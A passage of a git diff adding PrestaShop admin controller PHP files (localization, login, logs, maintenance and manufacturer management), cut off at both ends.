+ $language = Language::getIsoById($id_language); + $images_types = ImageType::getImagesTypes('products'); + $dirs = array(_PS_PROD_IMG_DIR_, _PS_CAT_IMG_DIR_, _PS_MANU_IMG_DIR_, _PS_SUPP_IMG_DIR_, _PS_MANU_IMG_DIR_); + foreach ($dirs as $dir) + { + foreach ($images_types as $k => $image_type) + if (file_exists($dir.$language.'-default-'.stripslashes($image_type['name']).'.jpg')) + if (!unlink($dir.$language.'-default-'.stripslashes($image_type['name']).'.jpg')) + $this->errors[] = Tools::displayError('An error occurred during image deletion process.'); + + if (file_exists($dir.$language.'.jpg')) + if (!unlink($dir.$language.'.jpg')) + $this->errors[] = Tools::displayError('An error occurred during image deletion process.'); + } + + return !count($this->errors) ? true : false; + } + + protected function copyFromPost(&$object, $table) + { + if ($object->id && ($object->iso_code != $_POST['iso_code'])) + if (Validate::isLanguageIsoCode($_POST['iso_code'])) + $object->moveToIso($_POST['iso_code']); + parent::copyFromPost($object, $table); + } + + public function ajaxProcessCheckLangPack() + { + $this->json = true; + if (empty($_GET['iso_lang'])) + { + $this->status = 'error'; + $this->errors[] = '[TECHNICAL ERROR] iso_lang not set or empty'; + } + if (empty($_GET['ps_version'])) + { + $this->status = 'error'; + $this->errors[] = '[TECHNICAL ERROR] ps_version not set or empty'; + } + + // Get all iso code available + if($lang_packs = Tools::file_get_contents('http://www.prestashop.com/download/lang_packs/get_language_pack.php?version='.(string)$_GET['ps_version'].'&iso_lang='.(string)$_GET['iso_lang'])) + { + $result = Tools::jsonDecode($lang_packs); + if ($lang_packs !== '' && $result && !isset($result->error)) + { + $this->status = 'ok'; + $this->content = $lang_packs; + } + else + { + $this->status = 'error'; + $msg = $this->l('Wrong ISO code, or the selected language pack is unavailable.'); + if ($result) + $msg = $result->msg; + $this->errors[] = $msg; + } + } + else + { + $this->status = 'error'; + $this->errors[] = '[TECHNICAL ERROR] Server unreachable'; + } + } + + protected function checkEmployeeIdLang($current_id_lang) + { + //update employee lang if current id lang is disabled + Db::getInstance()->execute('UPDATE `'._DB_PREFIX_.'employee` set `id_lang`='.(int)Configuration::get('PS_LANG_DEFAULT').' WHERE `id_lang`='.(int)$current_id_lang); + } +} \ No newline at end of file diff --git a/controllers/admin/AdminLocalizationController.php b/controllers/admin/AdminLocalizationController.php new file mode 100755 index 0000000..c5158f9 --- /dev/null +++ b/controllers/admin/AdminLocalizationController.php @@ -0,0 +1,332 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminLocalizationControllerCore extends AdminController +{ + public function __construct() + { + $this->className = 'Configuration'; + $this->table = 'configuration'; + + parent::__construct(); + + $this->fields_options = array( + 'general' => array( + 'title' => $this->l('Configuration'), + 'fields' => array( + 'PS_LANG_DEFAULT' => array( + 'title' => $this->l('Default language:'), + 'desc' => $this->l('The default language used in your shop'), + 'cast' => 'intval', + 'type' => 'select', + 'identifier' => 'id_lang', + 'list' => Language::getlanguages(false) + ), + 'PS_COUNTRY_DEFAULT' => array( + 'title' => $this->l('Default country:'), + 'desc' => $this->l('The default country used in your shop'), + 'cast' => 'intval', + 'type' => 'select', + 'identifier' => 'id_country', + 'list' => Country::getCountries($this->context->language->id) + ), + 'PS_CURRENCY_DEFAULT' => array( + 'title' => $this->l('Default currency:'), + 'desc' => + $this->l('The default currency used in your shop') + .'<div class="warn">' + .$this->l('If you change the default currency, you will have to manually edit every product price.') + .'</div>', + 'cast' => 'intval', + 'type' => 'select', + 'identifier' => 'id_currency', + 'list' => Currency::getCurrencies() + ), + ), + 'submit' => array() + ), + 'localization' => array( + 'title' => $this->l('Localization'), + 'width' => 'width2', + 'icon' => 'localization', + 'fields' => array( + 'PS_WEIGHT_UNIT' => array( + 'title' => $this->l('Weight unit:'), + 'desc' => $this->l('The default weight unit for your shop (e.g. kg or lbs)'), + 'validation' => 'isWeightUnit', + 'required' => true, + 'type' => 'text' + ), + 'PS_DISTANCE_UNIT' => array( + 'title' => $this->l('Distance unit:'), + 'desc' => $this->l('The default distance unit for your shop (e.g. km or mi)'), + 'validation' => 'isDistanceUnit', + 'required' => true, + 'type' => 'text' + ), + 'PS_VOLUME_UNIT' => array( + 'title' => $this->l('Volume unit:'), + 'desc' => $this->l('The default volume unit for your shop'), + 'validation' => 'isWeightUnit', + 'required' => true, + 'type' => 'text' + ), + 'PS_DIMENSION_UNIT' => array( + 'title' => $this->l('Dimension unit:'), + 'desc' => $this->l('The default dimension unit for your shop (e.g. cm or in)'), + 'validation' => 'isDistanceUnit', + 'required' => true, + 'type' => 'text' + ) + ), + 'submit' => array('title' => $this->l('Save'), 'class' => 'button') + ), + 'options' => array( + 'title' => $this->l('Advanced'), + 'width' => 'width2', + 'icon' => 'localization', + 'fields' => array( + 'PS_LOCALE_LANGUAGE' => array( + 'title' => $this->l('Language locale:'), + 'desc' => $this->l('Your server\'s language locale.'), + 'validation' => 'isLanguageIsoCode', + 'type' => 'text', + 'visibility' => Shop::CONTEXT_ALL + ), + 'PS_LOCALE_COUNTRY' => array( + 'title' => $this->l('Country locale:'), + 'desc' => $this->l('Your server\'s country locale.'), + 'validation' => 'isLanguageIsoCode', + 'type' => 'text', + 'visibility' => Shop::CONTEXT_ALL + ) + ), + 'submit' => array('title' => $this->l('Save'), 'class' => 'button') + ) + ); + + if (function_exists('date_default_timezone_set')) + $this->fields_options['general']['fields']['PS_TIMEZONE'] = array( + 'title' => $this->l('Time zone:'), + 'validation' => 'isAnything', + 'type' => 'select', + 'list' => Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT name FROM '._DB_PREFIX_.'timezone'), + 'identifier' => 'name', + 'visibility' => Shop::CONTEXT_ALL + ); + } + + public function postProcess() + { + if (Tools::isSubmit('submitLocalizationPack')) + { + $version = str_replace('.', '', _PS_VERSION_); + $version = substr($version, 0, 2); + + if (Validate::isFileName(Tools::getValue('iso_localization_pack'))) + { + + $pack = @Tools::file_get_contents('http://api.prestashop.com/localization/'.$version.'/'.Tools::getValue('iso_localization_pack').'.xml'); + + if (!$pack && !($pack = @Tools::file_get_contents(dirname(__FILE__).'/../../localization/'.Tools::getValue('iso_localization_pack').'.xml'))) + $this->errors[] = Tools::displayError('Cannot load the localization pack.'); + + if (!$selection = Tools::getValue('selection')) + $this->errors[] = Tools::displayError('Please select at least one item to import.'); + else + { + foreach ($selection as $selected) + if (!Validate::isLocalizationPackSelection($selected)) + { + $this->errors[] = Tools::displayError('Invalid selection'); + return; + } + $localization_pack = new LocalizationPack(); + if (!$localization_pack->loadLocalisationPack($pack, $selection)) + $this->errors = array_merge($this->errors, $localization_pack->getErrors()); + else + Tools::redirectAdmin(self::$currentIndex.'&conf=23&token='.$this->token); + } + } + } + + // Remove the module list cache if the default country changed + if (Tools::isSubmit('submitOptionsconfiguration') && file_exists(Module::CACHE_FILE_DEFAULT_COUNTRY_MODULES_LIST)) + @unlink(Module::CACHE_FILE_DEFAULT_COUNTRY_MODULES_LIST); + + parent::postProcess(); + } + + public function sortLocalizationsPack($a, $b) + { + return $a['name'] > $b['name']; + } + + public function renderForm() + { + $localizations_pack = false; + $this->tpl_option_vars['options_content'] = $this->renderOptions(); + + $xml_localization = Tools::simplexml_load_file('http://api.prestashop.com/rss/localization.xml'); + if (!$xml_localization) + { + $localization_file = dirname(__FILE__).'/../../localization/localization.xml'; + if (file_exists($localization_file)) + $xml_localization = simplexml_load_file($localization_file); + } + + $i = 0; + if ($xml_localization) + foreach ($xml_localization->pack as $key => $pack) + { + $localizations_pack[$i]['iso_localization_pack'] = (string)$pack->iso; + $localizations_pack[$i]['name'] = (string)$pack->name; + $i++; + } + + if (!$localizations_pack) + return $this->displayWarning($this->l('Cannot connect to prestashop.com')); + + usort($localizations_pack, array($this, 'sortLocalizationsPack')); + + $selection_import = array( + array( + 'id' => 'states', + 'val' => 'states', + 'name' => $this->l('States') + ), + array( + 'id' => 'taxes', + 'val' => 'taxes', + 'name' => $this->l('Taxes') + ), + array( + 'id' => 'currencies', + 'val' => 'currencies', + 'name' => $this->l('Currencies') + ), + array( + 'id' => 'languages', + 'val' => 'languages', + 'name' => $this->l('Languages') + ), + array( + 'id' => 'units', + 'val' => 'units', + 'name' => $this->l('Units (e.g. weight, volume, distance)') + ) + ); + + $this->fields_form = array( + 'tinymce' => true, + 'legend' => array( + 'title' => $this->l('Import a localization pack'), + 'image' => '../img/admin/localization.gif' + ), + 'input' => array( + array( + 'type' => 'select', + 'label' => $this->l('Localization pack you want to import:'), + 'name' => 'iso_localization_pack', + 'options' => array( + 'query' => $localizations_pack, + 'id' => 'iso_localization_pack', + 'name' => 'name' + ) + ), + array( + 'type' => 'checkbox', + 'label' => $this->l('Content to import:'), + 'name' => 'selection[]', + 'lang' => true, + 'values' => array( + 'query' => $selection_import, + 'id' => 'id', + 'name' => 'name' + ) + ) + ), + 'submit' => array( + 'title' => $this->l('Import '), + 'class' => 'button', + 'name' => 'submitLocalizationPack' + ) + ); + + $this->fields_value = array( + 'selection[]_states' => true, + 'selection[]_taxes' => true, + 'selection[]_currencies' => true, + 'selection[]_languages' => true, + 'selection[]_units' => true + ); + + $this->show_toolbar = false; + return parent::renderForm(); + } + + public function initContent() + { + if (!$this->loadObject(true)) + return; + + // toolbar (save, cancel, new, ..) + $this->initToolbar(); + + $this->context->smarty->assign(array( + 'localization_form' => $this->renderForm(), + 'localization_options' => $this->renderOptions(), + 'url_post' => self::$currentIndex.'&token='.$this->token, + )); + } + + public function display() + { + $this->initContent(); + parent::display(); + } + + public function beforeUpdateOptions() + { + $lang = new Language((int)Tools::getValue('PS_LANG_DEFAULT')); + + if (!$lang->active) + { + $lang->active = 1; + $lang->save(); + } + } + + public function updateOptionPsCurrencyDefault($value) + { + Configuration::updateValue('PS_CURRENCY_DEFAULT', $value); + + /* Set conversion rate of default currency to 1 */ + ObjectModel::updateMultishopTable('Currency', array('conversion_rate' => 1), 'a.id_currency'); + + Currency::refreshCurrencies(); + } +} diff --git a/controllers/admin/AdminLoginController.php b/controllers/admin/AdminLoginController.php new file mode 100755 index 0000000..8a2747c --- /dev/null +++ b/controllers/admin/AdminLoginController.php @@ -0,0 +1,255 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminLoginControllerCore extends AdminController +{ + public function __construct() + { + $this->errors = array(); + $this->context = Context::getContext(); + $this->display_header = false; + $this->display_footer = false; + + $this->meta_title = $this->l('Administration panel'); + + parent::__construct(); + } + + public function setMedia() + { + $this->addJquery(); + $this->addCSS(_PS_CSS_DIR_.'login.css'); + $this->addJS(_PS_JS_DIR_.'login.js'); + $this->addJqueryUI('ui.widget'); + $this->addJqueryUI('effects.shake'); + $this->addJqueryUI('effects.slide'); + } + + public function initContent() + { + if ((empty($_SERVER['HTTPS']) || strtolower($_SERVER['HTTPS']) == 'off') && Configuration::get('PS_SSL_ENABLED')) + { + // You can uncomment these lines if you want to force https even from localhost and automatically redirect + // header('HTTP/1.1 301 Moved Permanently'); + // header('Location: '.Tools::getShopDomainSsl(true).$_SERVER['REQUEST_URI']); + // exit(); + $clientIsMaintenanceOrLocal = in_array(Tools::getRemoteAddr(), array_merge(array('127.0.0.1'), explode(',', Configuration::get('PS_MAINTENANCE_IP')))); + // If ssl is enabled, https protocol is required. Exception for maintenance and local (127.0.0.1) IP + if ($clientIsMaintenanceOrLocal) + $this->errors[] = Tools::displayError('SSL is activated. However, your IP is allowed to enter unsecure mode for maintenance or local IP issues.'); + else + { + $warningSslMessage = Tools::displayError('SSL is activated. Please connect using the following URL to log into secure mode (https://).'); + $warningSslMessage .= '<a href="https://'.Tools::safeOutput(Tools::getServerName()).Tools::safeOutput($_SERVER['REQUEST_URI']).'">https://'.Tools::safeOutput(Tools::getServerName()).Tools::safeOutput($_SERVER['REQUEST_URI']).'</a>'; + $this->context->smarty->assign(array('warningSslMessage' => $warningSslMessage)); + } + } + + if (file_exists(_PS_ADMIN_DIR_.'/../install')) + $this->context->smarty->assign('wrong_install_name', true); + + if (basename(_PS_ADMIN_DIR_) == 'admin' && file_exists(_PS_ADMIN_DIR_.'/../admin/')) + { + $rand = 'admin'.sprintf('%04d', rand(0, 9999)).'/'; + if (@rename(_PS_ADMIN_DIR_.'/../admin/', _PS_ADMIN_DIR_.'/../'.$rand)) + Tools::redirectAdmin('../'.$rand); + else + $this->context->smarty->assign(array( + 'wrong_folder_name' => true + )); + } + else + $rand = basename(_PS_ADMIN_DIR_).'/'; + + $this->context->smarty->assign(array( + 'randomNb' => $rand, + 'adminUrl' => Tools::getCurrentUrlProtocolPrefix().Tools::getShopDomain().__PS_BASE_URI__.$rand + )); + + // Redirect to admin panel + if (Tools::isSubmit('redirect') && Validate::isControllerName(Tools::getValue('redirect'))) + $this->context->smarty->assign('redirect', Tools::getValue('redirect')); + else + { + $tab = new Tab((int)$this->context->employee->default_tab); + $this->context->smarty->assign('redirect', $this->context->link->getAdminLink($tab->class_name)); + } + + if ($nb_errors = count($this->errors)) + $this->context->smarty->assign(array( + 'errors' => $this->errors, + 'nbErrors' => $nb_errors, + 'shop_name' => Tools::safeOutput(Configuration::get('PS_SHOP_NAME')), + 'disableDefaultErrorOutPut' => true, + )); + + $this->setMedia(); + $this->initHeader(); + parent::initContent(); + $this->initFooter(); + } + + public function checkToken() + { + return true; + } + + /** + * All BO users can access the login page + * + * @return bool + */ + public function viewAccess() + { + return true; + } + + public function postProcess() + { + if (Tools::isSubmit('submitLogin')) + $this->processLogin(); + elseif (Tools::isSubmit('submitForgot')) + $this->processForgot(); + } + + public function processLogin() + { + /* Check fields validity */ + $passwd = trim(Tools::getValue('passwd')); + $email = trim(Tools::getValue('email')); + if (empty($email)) + $this->errors[] = Tools::displayError('Email is empty.'); + elseif (!Validate::isEmail($email)) + $this->errors[] = Tools::displayError('Invalid email address.'); + + if (empty($passwd)) + $this->errors[] = Tools::displayError('The password field is blank.'); + elseif (!Validate::isPasswd($passwd)) + $this->errors[] = Tools::displayError('Invalid password.'); + + if (!count($this->errors)) + { + // Find employee + $this->context->employee = new Employee(); + $is_employee_loaded = $this->context->employee->getByEmail($email, $passwd); + $employee_associated_shop = $this->context->employee->getAssociatedShops(); + if (!$is_employee_loaded) + { + $this->errors[] = Tools::displayError('The Employee does not exist, or the password provided is incorrect.'); + $this->context->employee->logout(); + } + elseif (empty($employee_associated_shop) && !$this->context->employee->isSuperAdmin()) + { + $this->errors[] = Tools::displayError('This employee does not manage the shop anymore (Either the shop has been deleted or permissions have been revoked).'); + $this->context->employee->logout(); + } + else + { + $this->context->employee->remote_addr = ip2long(Tools::getRemoteAddr()); + // Update cookie + $cookie = Context::getContext()->cookie; + $cookie->id_employee = $this->context->employee->id; + $cookie->email = $this->context->employee->email; + $cookie->profile = $this->context->employee->id_profile; + $cookie->passwd = $this->context->employee->passwd; + $cookie->remote_addr = $this->context->employee->remote_addr; + $cookie->write(); + + // If there is a valid controller name submitted, redirect to it + if (isset($_POST['redirect']) && Validate::isControllerName($_POST['redirect'])) + $url = $this->context->link->getAdminLink($_POST['redirect']); + else + { + $tab = new Tab((int)$this->context->employee->default_tab); + $url = $this->context->link->getAdminLink($tab->class_name); + } + + if (Tools::isSubmit('ajax')) + die(Tools::jsonEncode(array('hasErrors' => false, 'redirect' => $url))); + else + $this->redirect_after = $url; + } + } + if (Tools::isSubmit('ajax')) + die(Tools::jsonEncode(array('hasErrors' => true, 'errors' => $this->errors))); + } + + public function processForgot() + { + if (_PS_MODE_DEMO_) + $this->errors[] = Tools::displayError('This functionality has been disabled.'); + elseif (!($email = trim(Tools::getValue('email_forgot')))) + $this->errors[] = Tools::displayError('Email is empty.'); + elseif (!Validate::isEmail($email)) + $this->errors[] = Tools::displayError('Invalid email address.'); + else + { + $employee = new Employee(); + if (!$employee->getByEmail($email) || !$employee) + $this->errors[] = Tools::displayError('This account does not exist.'); + elseif ((strtotime($employee->last_passwd_gen.'+'.Configuration::get('PS_PASSWD_TIME_BACK').' minutes') - time()) > 0) + $this->errors[] = sprintf( + Tools::displayError('You can regenerate your password only every %d minute(s)'), + Configuration::get('PS_PASSWD_TIME_BACK') + ); + } + + if (!count($this->errors)) + { + $pwd = Tools::passwdGen(10, 'RANDOM'); + $employee->passwd = md5(pSQL(_COOKIE_KEY_.$pwd)); + $employee->last_passwd_gen = date('Y-m-d H:i:s', time()); + + $params = array( + '{email}' => $employee->email, + '{lastname}' => $employee->lastname, + '{firstname}' => $employee->firstname, + '{passwd}' => $pwd + ); + + if (Mail::Send($employee->id_lang, 'password', Mail::l('Your new password', $employee->id_lang), $params, $employee->email, $employee->firstname.' '.$employee->lastname)) + { + // Update employee only if the mail can be sent + $result = $employee->update(); + if (!$result) + $this->errors[] = Tools::displayError('An error occurred while attempting to change your password.'); + else + die(Tools::jsonEncode(array( + 'hasErrors' => false, + 'confirm' => $this->l('Your password has been emailed to you.', 'AdminTab', false, false) + ))); + } + else + die(Tools::jsonEncode(array( + 'hasErrors' => true, + 'errors' => array(Tools::displayError('An error occurred while attempting to change your password.')) + ))); + + } + else if (Tools::isSubmit('ajax')) + die(Tools::jsonEncode(array('hasErrors' => true, 'errors' => $this->errors))); + } +} diff --git a/controllers/admin/AdminLogsController.php b/controllers/admin/AdminLogsController.php new file mode 100755 index 0000000..081c76e --- /dev/null +++ b/controllers/admin/AdminLogsController.php @@ -0,0 +1,76 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminLogsControllerCore extends AdminController +{ + public function __construct() + { + $this->table = 'log'; + $this->className = 'Logger'; + $this->lang = false; + $this->noLink = true; + + $this->addRowAction('delete'); + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?'))); + + $this->fields_list = array( + 'id_log' => array('title' => $this->l('ID'), 'align' => 'center', 'width' => 25), + 'severity' => array('title' => $this->l('Severity (1-4)'), 'align' => 'center', 'width' => 50), + 'message' => array('title' => $this->l('Message')), + 'object_type' => array('title' => $this->l('Object type'), 'width' => 75), + 'object_id' => array('title' => $this->l('Object ID'), 'width' => 50), + 'error_code' => array('title' => $this->l('Error code'), 'width' => 75, 'prefix' => '0x'), + 'date_add' => array('title' => $this->l('Date'), 'width' => 150, 'align' => 'right', 'type' => 'datetime') + ); + + $this->fields_options = array( + 'general' => array( + 'title' => $this->l('Logs by email'), + 'fields' => array( + 'PS_LOGS_BY_EMAIL' => array( + 'title' => $this->l('Minimum severity level'), + 'desc' => $this->l('Enter "5" if you do not want to receive any emails.').'<br />'.$this->l('Emails will be sent to the shop owner.'), + 'cast' => 'intval', + 'type' => 'text', + 'size' => 5 + ) + ), + 'submit' => array() + ) + ); + $this->list_no_link = true; + parent::__construct(); + } + + public function initToolbar() + { + parent::initToolbar(); + unset($this->toolbar_btn['new']); + } + +} + +?> diff --git a/controllers/admin/AdminMaintenanceController.php b/controllers/admin/AdminMaintenanceController.php new file mode 100755 index 0000000..687880e --- /dev/null +++ b/controllers/admin/AdminMaintenanceController.php @@ -0,0 +1,61 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminMaintenanceControllerCore extends AdminController +{ + public function __construct() + { + $this->className = 'Configuration'; + $this->table = 'configuration'; + + parent::__construct(); + + $this->fields_options = array( + 'general' => array( + 'title' => $this->l('General'), + 'icon' => 'tab-preferences', + 'fields' => array( + 'PS_SHOP_ENABLE' => array( + 'title' => $this->l('Enable Shop'), + 'desc' => $this->l('Activate or deactivate your shop (It is a good idea to deactivate your shop while you perform maintenance. Please note that the webservice will not be disabled).'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool' + ), + 'PS_MAINTENANCE_IP' => array( + 'title' => $this->l('Maintenance IP'), + 'desc' => $this->l('IP addresses allowed to access the Front Office even if the shop is disabled. Please use a comma to separate them (e.g. 42.24.4.2,127.0.0.1,99.98.97.96)'), + 'validation' => 'isGenericName', + 'type' => 'maintenance_ip', + 'size' => 30, + 'default' => '' + ), + ), + 'submit' => array('title' => $this->l('Save'), 'class' => 'button'), + ), + ); + } +} diff --git a/controllers/admin/AdminManufacturersController.php b/controllers/admin/AdminManufacturersController.php new file mode 100755 index 0000000..083b0be --- /dev/null +++ b/controllers/admin/AdminManufacturersController.php @@ -0,0 +1,711 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminManufacturersControllerCore extends AdminController +{ + /** @var array countries list */ + protected $countries_array = array(); + + public function __construct() + { + $this->table = 'manufacturer'; + $this->className = 'Manufacturer'; + $this->lang = false; + $this->deleted = false; + $this->allow_export = true; + + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?'))); + + $this->context = Context::getContext(); + + $this->fieldImageSettings = array( + 'name' => 'logo', + 'dir' => 'm' + ); + + $this->fields_list = array( + 'id_manufacturer' => array( + 'title' => $this->l('ID'), + 'width' => 25 + ), + 'logo' => array( + 'title' => $this->l('Logo'), + 'image' => 'm', + 'orderby' => false, + 'search' => false, + 'width' => 150, + 'align' => 'center', + ), + 'name' => array( + 'title' => $this->l('Name'), + 'width' => 'auto' + ), + 'addresses' => array( + 'title' => $this->l('Addresses'), + 'width' => 20, + 'align' => 'center', + 'havingFilter' => true + ), + 'products' => array( + 'title' => $this->l('Products:'), + 'havingFilter' => true, + 'width' => 20, + 'align' => 'center', + ), + 'active' => array( + 'title' => $this->l('Enabled'), + 'width' => 70, + 'active' => 'status', + 'type' => 'bool', + 'align' => 'center', + 'orderby' => false + ) + ); + + parent::__construct(); + } + + public function setMedia() + { + parent::setMedia(); + $this->addJqueryUi('ui.widget'); + $this->addJqueryPlugin('tagify'); + } + + public function initListManufacturer() + { + $this->addRowAction('view'); + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + $this->_select = ' + COUNT(`id_product`) AS `products`, ( + SELECT COUNT(ad.`id_manufacturer`) as `addresses` + FROM `'._DB_PREFIX_.'address` ad + WHERE ad.`id_manufacturer` = a.`id_manufacturer` + AND ad.`deleted` = 0 + GROUP BY ad.`id_manufacturer`) as `addresses`'; + $this->_join = 'LEFT JOIN `'._DB_PREFIX_.'product` p ON (a.`id_manufacturer` = p.`id_manufacturer`)'; + $this->_group = 'GROUP BY a.`id_manufacturer`'; + + $this->context->smarty->assign('title_list', $this->l('List of manufacturers:')); + + $this->content .= parent::renderList(); + } + + public function initListManufacturerAddresses() + { + $this->toolbar_title = $this->l('Addresses'); + // reset actions and query vars + $this->actions = array(); + unset($this->fields_list, $this->_select, $this->_join, $this->_group, $this->_filterHaving, $this->_filter); + + $this->table = 'address'; + $this->identifier = 'id_address'; + $this->deleted = true; + $this->_orderBy = null; + + $this->addRowAction('editaddresses'); + $this->addRowAction('delete'); + + // test if a filter is applied for this list + if (Tools::isSubmit('submitFilter'.$this->table) || $this->context->cookie->{'submitFilter'.$this->table} !== false) + $this->filter = true; + + // test if a filter reset request is required for this list + if (isset($_POST['submitReset'.$this->table])) + $this->action = 'reset_filters'; + else + $this->action = ''; + + // Sub tab addresses + $countries = Country::getCountries($this->context->language->id); + foreach ($countries as $country) + $this->countries_array[$country['id_country']] = $country['name']; + + $this->fields_list = array( + 'id_address' => array( + 'title' => $this->l('ID'), + 'width' => 25 + ), + 'manufacturer_name' => array( + 'title' => $this->l('Manufacturer'), + 'width' => 'auto' + ), + 'firstname' => array( + 'title' => $this->l('First name'), + 'width' => 80 + ), + 'lastname' => array( + 'title' => $this->l('Last name'), + 'width' => 100, + 'filter_key' => 'a!name' + ), + 'postcode' => array( + 'title' => $this->l('Zip Code/Postal Code'), + 'align' => 'right', + 'width' => 50 + ), + 'city' => array( + 'title' => $this->l('City'), + 'width' => 150 + ), + 'country' => array( + 'title' => $this->l('Country'), + 'width' => 100, + 'type' => 'select', + 'list' => $this->countries_array, + 'filter_key' => 'cl!id_country' + ) + ); + + $this->_select = 'cl.`name` as country, m.`name` AS manufacturer_name'; + $this->_join = ' + LEFT JOIN `'._DB_PREFIX_.'country_lang` cl + ON (cl.`id_country` = a.`id_country` AND cl.`id_lang` = '.(int)$this->context->language->id.') '; + $this->_join .= ' + LEFT JOIN `'._DB_PREFIX_.'manufacturer` m + ON (a.`id_manufacturer` = m.`id_manufacturer`)'; + $this->_where = 'AND a.`id_customer` = 0 AND a.`id_supplier` = 0 AND a.`id_warehouse` = 0'; + + $this->context->smarty->assign('title_list', $this->l('Manufacturers addresses:')); + + // call postProcess() for take care about actions and filters + $this->postProcess(); + + $this->initToolbar(); + $this->content .= parent::renderList(); + + } + + public function renderList() + { + $this->initListManufacturer(); + $this->initListManufacturerAddresses(); + } + + /** + * Display editaddresses action link + * @param string $token the token to add to the link + * @param int $id the identifier to add to the link + * @return string + */ + public function displayEditaddressesLink($token = null, $id) + { + if (!array_key_exists('editaddresses', self::$cache_lang)) + self::$cache_lang['editaddresses'] = $this->l('Edit Adresses'); + + $this->context->smarty->assign(array( + 'href' => self::$currentIndex. + '&'.$this->identifier.'='.$id. + '&editaddresses&token='.($token != null ? $token : $this->token), + 'action' => self::$cache_lang['editaddresses'], + )); + + return $this->context->smarty->fetch('helpers/list/list_action_edit.tpl'); + } + + public function renderForm() + { + $this->fields_form = array( + 'tinymce' => true, + 'legend' => array( + 'title' => $this->l('Manufacturers:'), + 'image' => '../img/admin/manufacturers.gif' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Name:'), + 'name' => 'name', + 'size' => 40, + 'required' => true, + 'hint' => $this->l('Invalid characters:').' <>;=#{}' + ), + array( + 'type' => 'textarea', + 'label' => $this->l('Short description:'), + 'name' => 'short_description', + 'lang' => true, + 'cols' => 60, + 'rows' => 10, + 'class' => 'rte', + 'hint' => $this->l('Invalid characters:').' <>;=#{}' + ), + array( + 'type' => 'textarea', + 'label' => $this->l('Description:'), + 'name' => 'description', + 'lang' => true, + 'cols' => 60, + 'rows' => 10, + 'class' => 'rte', + 'hint' => $this->l('Invalid characters:').' <>;=#{}' + ), + array( + 'type' => 'file', + 'label' => $this->l('Logo:'), + 'name' => 'logo', + 'display_image' => true, + 'desc' => $this->l('Upload a manufacturer logo from your computer.') + ), + array( + 'type' => 'text', + 'label' => $this->l('Meta title:'), + 'name' => 'meta_title', + 'lang' => true, + 'hint' => $this->l('Forbidden characters:').' 